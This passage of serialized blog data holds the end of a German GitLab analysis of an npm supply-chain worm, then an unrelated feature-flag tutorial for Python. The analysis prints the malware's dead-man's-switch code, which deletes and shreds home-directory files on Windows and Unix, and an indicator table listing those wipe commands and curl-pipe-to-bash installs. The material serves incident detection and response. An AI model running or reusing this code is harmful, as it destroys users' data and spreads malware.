${modifiedPackage}`.env({\n    NPM_CONFIG_TOKEN: this.token\n  });\n}\n```\n\n**NIS2 Artikel 21(2)(d)-Implikation:** Dies illustriert Supply-Chain-Sicherheitsaspekte im Zusammenhang mit direkten Lieferanten und Service-Providern. npm-Token-Sicherheit wird zum kritischen Kontrollpunkt – Kompromittierung eines einzelnen Entwickler-Accounts führt zur exponentiellen Verbreitung über dessen gesamtes Paket-Portfolio.\n\n**Prävention:** Implementierung von OIDC-basierter keyless Authentication für npm-Publishing (wie in GitLab CI/CD verfügbar) eliminiert langlebige Tokens und reduziert das Credential-Theft-Risiko signifikant.\n\n## Der Dead-Man's-Switch\n\nDie Analyse deckte eine destruktive Payload auf, die zum Schutz der Malware-Infrastruktur gegen Takedown-Versuche konzipiert ist.\n\nDie Malware überwacht kontinuierlich ihren Zugang zu GitHub (für Exfiltration) und npm (für Propagierung). Falls ein infiziertes System Zugriff auf beide Kanäle simultan verliert, löst dies sofortige Datenzerstörung auf dem kompromittierten System aus. Auf Windows wird versucht, alle User-Dateien zu löschen und Disk-Sektoren zu überschreiben. Auf Unix-Systemen nutzt es `shred`, um Dateien vor Löschung zu überschreiben, wodurch Recovery nahezu unmöglich wird.\n\n```javascript\n// KRITISCH: Token-Validierungsfehler löst Zerstörung aus\nasync function aL0() {\n  let githubApi = new dq();\n  let npmToken = process.env.NPM_TOKEN || await findNpmToken();\n\n  // Versuch, GitHub-Zugang zu finden oder zu erstellen\n  if (!githubApi.isAuthenticated() || !githubApi.repoExists()) {\n    let fetchedToken = await githubApi.fetchToken(); // Suche nach Tokens in kompromittierten Repos\n\n    if (!fetchedToken) {  // Kein GitHub-Zugang möglich\n      if (npmToken) {\n        // Fallback zu reiner NPM-Propagierung\n        await El(npmToken);\n      } else {\n        // ZERSTÖRUNGS-TRIGGER: Kein GitHub UND kein NPM-Zugang\n        console.log(\"Error 12\");\n        if (platform === \"windows\") {\n          // Versuch, alle User-Dateien zu löschen und Disk-Sektoren zu überschreiben\n          Bun.spawnSync([\"cmd.exe\", \"/c\",\n            \"del /F /Q /S \\\"%USERPROFILE%*\\\" && \" +\n            \"for /d %%i in (\\\"%USERPROFILE%*\\\") do rd /S /Q \\\"%%i\\\" & \" +\n            \"cipher /W:%USERPROFILE%\"  // Überschreibt gelöschte Daten\n          ]);\n        } else {\n          // Versuch, alle schreibbaren Dateien im Home-Verzeichnis zu shreddern\n          Bun.spawnSync([\"bash\", \"-c\",\n            \"find \\\"$HOME\\\" -type f -writable -user \\\"$(id -un)\\\" -print0 | \" +\n            \"xargs -0 -r shred -uvz -n 1 && \" +  // Überschreibt und löscht\n            \"find \\\"$HOME\\\" -depth -type d -empty -delete\"  // Entfernt leere Verzeichnisse\n          ]);\n        }\n        process.exit(0);\n      }\n    }\n  }\n}\n```\n\n**NIS2 Artikel 23-Implikation für Incident Response:** Dies schafft ein gefährliches Szenario. Falls GitHub massenweise die Repositories der Malware löscht oder npm Bulk-Revocation kompromittierter Tokens durchführt, könnten Tausende infizierter Systeme simultan Nutzerdaten zerstören. Die verteilte Natur des Angriffs bedeutet, dass jede infizierte Maschine unabhängig den Zugriff überwacht und bei erkanntem Takedown Löschung der Nutzerdaten auslöst.\n\n**Koordinierte Reaktionsplanung erforderlich:** Deutsche Unternehmen müssen NIS2 Artikel 23 (dreistufige Meldeverfahren) befolgen, aber auch vermeiden, voreilig Tokens zu sperren, ohne die Dead-Man's-Switch-Implikationen zu berücksichtigen. Systematische Planung mit zuständigen Behörden ist erforderlich.\n\n## Indicators of Compromise\n\nZur Unterstützung von Detection und Response: Umfassende Liste der identifizierten Key-Indicators of Compromise (IoCs).\n\n| Typ | Indikator | Beschreibung |\n| :---- | :---- | :---- |\n| **file** | `bun_environment.js` | Schadhafte Post-Install-Scripte in node\\_modules-Verzeichnissen |\n| **directory** | `.truffler-cache/` | Verstecktes Verzeichnis im User-Home für Trufflehog-Binary-Speicherung |\n| **directory** | `.truffler-cache/extract/` | Temporäres Verzeichnis für Binary-Extraktion |\n| **file** | `.truffler-cache/trufflehog` | Heruntergeladenes Trufflehog-Binary (Linux/Mac) |\n| **file** | `.truffler-cache/trufflehog.exe` | Heruntergeladenes Trufflehog-Binary (Windows) |\n| **process** | `del /F /Q /S \"%USERPROFILE%*\"` | Windows-Destruktiv-Payload-Befehl |\n| **process** | `shred -uvz -n 1` | Linux/Mac-Destruktiv-Payload-Befehl |\n| **process** | `cipher /W:%USERPROFILE%` | Windows-Secure-Deletion-Befehl in Payload |\n| **command** | `curl -fsSL https://bun.sh/install \\| bash` | Verdächtige Bun-Installation während NPM-Paket-Installation |\n| **command** | `powershell -c \"irm bun.sh/install.ps1\\|iex\"` | Windows-Bun-Installation via PowerShell |\n\n**Systematische Überprüfung:** Deutsche Sicherheitsteams können diese IoC-Tabelle für Filesystem-Scans nutzen. Die Präsenz eines dieser Indikatoren erfordert sofortige Isolation des betroffenen Systems und Token-Audit gemäß obiger Reaktions-Checkliste.\n\n## Ausblick\n\nDiese Kampagne repräsentiert eine Evolution in Supply-Chain-Angriffen: Die Androhung von Kollateralschäden wird zum primären Verteidigungsmechanismus für die Attacker-Infrastruktur. Die Untersuchung läuft, während die Zusammenarbeit mit der Community erfolgt, um den vollständigen Umfang zu verstehen und sichere Remediation-Strategien zu entwickeln.\n\nGitLabs automatisierte Detektionssysteme überwachen kontinuierlich auf neue Infektionen und Varianten dieses Angriffs. Durch frühzeitiges Teilen der Erkenntnisse soll der Community geholfen werden, wirksam zu reagieren und dabei die Fallstricke des Dead-Man's-Switch-Designs zu vermeiden.\n\n**Für deutsche Unternehmen:** Nutzen von GitLabs internen Monitoring-Fähigkeiten durch Integration von Dependency-Scanning in CI/CD-Pipelines. Dies ermöglicht systematische Früherkennung schadhafter Pakete vor Production-Deployment – ein Ansatz, der sowohl NIS2 Artikel 21 als auch DSGVO Artikel 32 erfüllt.","2025-11-24",[758,1196],[1213,1214],"Michael Henriksen","Daniel Abeles",{"featured":13,"template":796,"slug":1216},"gitlab-discovers-widespread-npm-supply-chain-attack",{"content":1218,"config":1221},{"title":832,"description":833,"authors":1219,"body":837,"heroImage":838,"date":839,"category":657,"tags":1220},[835,836],[806,258,841,721,746],{"featured":13,"template":796,"slug":843},[1223,1228,1233],{"content":1224,"config":1227},{"date":1111,"body":1112,"category":746,"tags":1225,"authors":1226,"title":1116,"description":1117,"heroImage":1118},[746,721],[1115],{"featured":645,"template":796,"slug":1120},{"content":1229,"config":1232},{"title":1029,"description":1030,"authors":1230,"heroImage":1033,"body":1034,"date":1035,"category":721,"tags":1231},[1032],[1037,698,823,721],{"featured":13,"template":796,"slug":1039},{"content":1234,"config":1237},{"body":990,"title":991,"description":992,"authors":1235,"heroImage":995,"date":996,"category":709,"tags":1236},[994],[89,867,853,788],{"featured":13,"template":796,"slug":999},[1239,1244,1249],{"content":1240,"config":1243},{"body":1182,"title":1183,"description":1184,"category":770,"tags":1241,"authors":1242,"heroImage":1188,"date":1130},[758,746,853,788],[1187],{"featured":645,"template":796,"slug":1190},{"content":1245,"config":1248},{"title":1136,"description":1137,"authors":1246,"heroImage":1118,"date":1130,"body":1140,"category":746,"tags":1247},[1139],[806,746,788],{"featured":13,"template":796,"slug":1143},{"content":1250,"config":1257},{"title":1251,"description":1252,"authors":1253,"heroImage":1033,"date":1254,"body":1255,"category":746,"tags":1256},"GitLab Feature Flags in Python einrichten","Feature Flags in eine Python-Flask-App integrieren und Feature-Rollouts ohne Redeployment steuern – mit dem Unleash SDK und GitLab.",[994],"2026-03-26","## Feature Flags als Methode zur Deployment-Risikominimierung\n\nWochen Entwicklungsarbeit, abgeschlossenes Code-Review, alle Tests grün. Das Feature gelangt in die Produktion – und innerhalb einer Stunde treffen Fehlerberichte ein. Der Code verhält sich für die meisten Nutzenden korrekt, aber bestimmte Produktions-Szenarien, die im Staging nicht aufgetreten sind, führen bei einem Teil der Nutzenden zu Ausfällen. Das Ergebnis: ungeplanter Rollback, Incident-Dokumentation, Ursachenanalyse.\n\nFeature Flags verhindern genau das. Das Prinzip: Deployment und Release werden entkoppelt. Code gelangt in die Produktion, sobald er bereit ist – wer das neue Feature tatsächlich sieht, wird unabhängig davon über einen Schalter in GitLab gesteuert. Kein Redeployment, kein Hotfix, keine ungeplante Rollback-Prozedur.\n\n### Systematisch gesteuerte Rollouts\n\nDer eigentliche Wert von Feature Flags liegt in der schrittweisen Freigabe. Ein typischer Ablauf:\n\n1. **QA-Team (User-IDs-Strategie):** Das Feature ist nur für interne Tester sichtbar. Probleme werden erkannt, bevor externe Nutzende betroffen sind.\n2. **Prozentualer Rollout (z. B. 10 %):** Das Feature wird für einen definierten Anteil der Nutzenden aktiviert. Metriken und Fehlerraten lassen sich unter realen Bedingungen beobachten.\n3. **Vollständige Freigabe:** Erst wenn das Verhalten in der Produktion validiert ist, wird das Feature für alle aktiviert.\n\nTritt auf einer Stufe ein Problem auf, reicht ein Klick in der GitLab-Oberfläche, um das Feature zu deaktivieren – ohne Code-Änderung, ohne Pipeline.\n\n### Skalierung und Produktionsbetrieb\n\nGitLab stellt für jedes Projekt eine Unleash-kompatible API bereit. Der Unleash-SDK pollt die Flag-Definitionen beim Start und danach in einem konfigurierbaren Intervall (im Demo-Projekt: 15 Sekunden). Die Auswertung erfolgt lokal aus dem Cache – kein Netzwerkaufruf pro Flag-Abfrage, kein Latenzeinfluss auf den Request.\n\nFür kleinere Deployments ist das 15-Sekunden-Intervall gut geeignet. Bei Deployments mit vielen App-Instanzen von derselben IP-Adresse gilt: GitLab.com unterstützt bei diesem Intervall rund 125 Clients, bevor Rate-Limits greifen. Für größere Produktionsumgebungen empfiehlt sich ein vorgelagerter Unleash Proxy, der Anfragen mehrerer Instanzen bündelt.\n\n### Sicherheitsrelevante Aspekte\n\n* **Keine Credentials im Quellcode:** Instance ID und alle Tokens gehören in Umgebungsvariablen, nicht in den Code.\n* **Instance ID ist read-only:** Sie erlaubt ausschließlich das Abrufen von Flag-Zuständen, keine Änderungen. Trotzdem als Secret behandeln.\n* **Debug-Modus deaktiviert lassen:** Flasks Debug-Modus ermöglicht Remote Code Execution – in der Produktion zwingend deaktiviert.\n* **Abhängigkeiten aktuell halten:** [Dependency Scanning](https://docs.gitlab.com/user/application_security/dependency_scanning/) in der CI/CD-Pipeline aktivieren, um Schwachstellen in gepinnten Versionen zu erkennen.\n\n## Schritt-für-Schritt: Integration in eine Python-Flask-App\n\nDieser Abschnitt gibt einen Überblick über die technische Integration. Die vollständige Implementierung – alle Schritte, der komplette Code und ein lauffähiges Demo-Projekt – ist im [englischen Originalartikel](https://about.gitlab.com/blog/getting-started-with-gitlab-feature-flags-in-python/) beschrieben. Das Demo-Repository steht unter [gitlab.com/omid-blogs/gitlab-feature-flags-demo](https://gitlab.com/omid-blogs/gitlab-feature-flags-demo) zum Forken bereit.\n\n### SDK vs. GitLab REST API\n\nFür eine App, die Flags bei jedem Request auswertet, ist der SDK die geeignete Wahl:\n\n|  | REST API | Unleash SDK |\n| ----- | ----- | ----- |\n| **Authentifizierung** | Personal Access Token mit Projektberechtigungen | Nur Instance ID – read-only, auf Flag-Zustand beschränkt |\n| **Flag-Auswertung** | Netzwerkaufruf pro Abfrage | Lokal aus dem Cache |\n| **Latenz** | Netzwerk-Round-Trip | Nahezu null (In-Memory) |\n| **Strategie-Unterstützung** | Manuelle Auswertung erforderlich | Integriert: Prozentualer Rollout, User-ID-Targeting |\n| **Rate-Limits** | GitLab.com API-Limits | Eine Poll-Verbindung pro App-Instanz |\n\n### Kernmuster der Integration\n\nDie gesamte Integration besteht aus einer Abhängigkeit (`UnleashClient`), drei Umgebungsvariablen und einem Methodenaufruf.\n\n**SDK initialisieren:**\n\n```python unleash_client = UnleashClient(\n    url=UNLEASH_URL,\n    app_name=UNLEASH_APP_NAME,\n    instance_id=UNLEASH_INSTANCE_ID,\n    refresh_interval=15,\n    metrics_interval=60,\n)\nunleash_client.initialize_client() ```\n\n**Flag abfragen:**\n\n```python def is_flag_enabled(flag_name):\n    return unleash_client.is_enabled(flag_name)\n```\n\n`is_enabled()` wertet lokal aus dem Cache aus – kein Netzwerkaufruf, kein Latenzeinfluss auf den Request.\n\n**Nutzerkontext für gezieltes Targeting übergeben:**\n\n```python unleash_client.is_enabled(\n    'new_layout',\n    context={'userId': current_user.id}\n) ```\n\nDer SDK übernimmt das konsistente Hashing für prozentuale Rollouts. Für die vollständige Einrichtung – Flags in GitLab anlegen, Unleash-Credentials abrufen, App lokal ausführen und Flags in Echtzeit umschalten – siehe den [englischen Originalartikel](https://about.gitlab.com/blog/getting-started-with-gitlab-feature-flags-in-python/).\n\n### Ressourcen\n\n* [Demo-Projekt auf GitLab](https://gitlab.com/omid-blogs/gitlab-feature-flags-demo)\n* [GitLab Feature-Flags-Dokumentation](https://docs.gitlab.com/operations/feature_flags/)\n* [Unleash Python SDK auf GitHub](https://github.com/Unleash/unleash-python-sdk)",[788,853,746],{"featured":13,"template":796,"slug":1258},"getting-started-with-gitlab-feature-flags-in-python",1776430036673]